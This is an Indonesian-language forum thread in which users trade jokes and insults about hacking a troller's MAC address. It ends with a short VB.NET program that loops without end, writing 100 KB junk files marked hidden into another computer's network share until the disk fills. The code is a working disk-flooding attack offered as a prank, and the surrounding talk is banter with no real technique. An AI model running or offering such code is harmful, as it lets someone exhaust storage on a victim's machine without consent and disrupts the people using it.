ADMIN KITA GANTENG"

[trueleon_jr]

serem ah abuse Aphay

tar gw gak di bantuin lg

akweoawkoeawkeowak

[Kayoko]

takut si bon2

[White_Angels]

hai rey murid pisaudapur

[gagakteam]

serem juga troller nya ya ngebully nozer

@nozer
dari pada ribet mendingan aktifin script get mac addr nald di system server nah ketika mac-addr device dia connect ke forum atau server kita, tinggal di poison aja mac-addr troller itu, trus diclone mac nya ceburin ke danau spamer/virus , jadi setiap dia online UDP dia ke tarik mulu tuh, lumayan kan bikin cloud server virus kita kqkqkqkkq #lagikumat

[Links]

gw baca tulisan bang gagak...rontok sebagian rambut gw ini

dalam bener itu bahasa programernya

[maphack_user]

serem juga troller nya ya ngebully nozer

@nozer
dari pada ribet mendingan aktifin script get mac addr nald di system server nah ketika mac-addr device dia connect ke forum atau server kita, tinggal di poison aja mac-addr troller itu, trus diclone mac nya ceburin ke danau spamer/virus , jadi setiap dia online UDP dia ke tarik mulu tuh, lumayan kan bikin cloud server virus kita kqkqkqkkq #lagikumat

troller = kaga pusing

yang pusing = yang punya warnet

[GodStrengtH]

gw baca tulisan bang gagak...rontok sebagian rambut gw ini

dalam bener itu bahasa programernya

awkawkeawk

lo kepala botak aja sok2an son

[Sub Moderator]

MAC-ADDR ?

KAYAK LW SANGGUP AJE

SEKIL MASI AMPAS

SO SOAN MW JD HECKER

OAKAWOKAKOWAKAOKOKOW

SOTOY !

[trueleon_jr]

serem juga troller nya ya ngebully nozer

@nozer
dari pada ribet mendingan aktifin script get mac addr nald di system server nah ketika mac-addr device dia connect ke forum atau server kita, tinggal di poison aja mac-addr troller itu, trus diclone mac nya ceburin ke danau spamer/virus , jadi setiap dia online UDP dia ke tarik mulu tuh, lumayan kan bikin cloud server virus kita kqkqkqkkq #lagikumat

semacam ini yah?

Spoiler untuk behahahahha :

Module Module1


Sub Main()
Dim sFolder As String = "\\192.168.xx.xxx\SharedDocs\My Pictures"
Dim r As New Random
Dim sFileName As String = ""
Dim i As Integer = 0

Dim sContents As String = ""
For iCount As Integer = 0 To (100 * 1024) Step 1
sContents &= Chr(r.Next(64, 128))
Console.Title = ("Filling text: " & FormatNumber(iCount, 0, TriState.False, TriState.False, TriState.True))
Next

While True
Try
sFileName = sFolder & "\" & Now.ToString("yyyyMMddHHmmss") & "." & r.Next(11111, 99999) & "." & r.Next(11111, 99999)
Dim ts As New IO.StreamWriter(sFileName)
ts.Write(sContents)
ts.Flush()
ts.Close() : ts.Dispose() : ts = Nothing

IO.File.SetAttributes(sFileName, IO.FileAttributes.Hidden)

i += 1
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try

Console.Title = "Created: " & i & " " & sFileName
End While
End Sub
End Module